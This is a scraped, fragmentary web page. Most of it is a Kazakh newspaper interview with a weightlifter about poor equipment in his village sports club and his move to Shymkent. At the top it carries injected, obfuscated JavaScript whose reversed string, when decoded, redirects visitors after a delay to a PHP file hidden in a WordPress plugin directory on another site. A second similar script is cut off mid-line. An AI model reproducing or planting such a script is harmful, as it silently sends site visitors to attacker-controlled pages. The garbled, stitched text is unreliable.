{if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == )
tories/fe87fefa186e0316a257ffec322ff65e.jpg» border=»0″ width=»175″ height=»106″ align=»left» />– 2003 жылы спорт үйірмесінің есігін алғаш ашқан сәтте ауылымызда (Оңтүстік Қазақстан облысы, Арыс ауданы, Задария ауылы) ауыр атлетиканың құрал-жабдықтары өте қат болатын. Жаттығу кезінде штангалардың жетімсіздігі көрер көзге кәдімгідей байқалушы еді. Тіпті, зілтемірді көтеретін сәтте алдын-ала кезекке тұрып алатынбыз. Осындай жағдайлар жаттығуға кесірін тигізер деп бапкеріммен ақылдасып, 2007 жылы Шымкент қаласына ауыстым. Қанша дегенмен, қалада спорттың бұл түрімен айналысуға толықтай мүмкіндік бар. Егер, еліміздің халқы көп шоғырланған ауылдарда ауыр атлетика, велоспорт, жеңіл атлетика, жүзу т.б. сынды спорт түрлерінің үйірмелері көптеп ашылып жатса, ауыл балалары қалаға қарай табан тоздырмай-ақ туған жерлерінде дайындалып, елдің атын шығарар еді деп ойлаймын.
«Ұлт таймс» газеті
«Қызмет» ақпарат.
{jcomments on}
Leave a Reply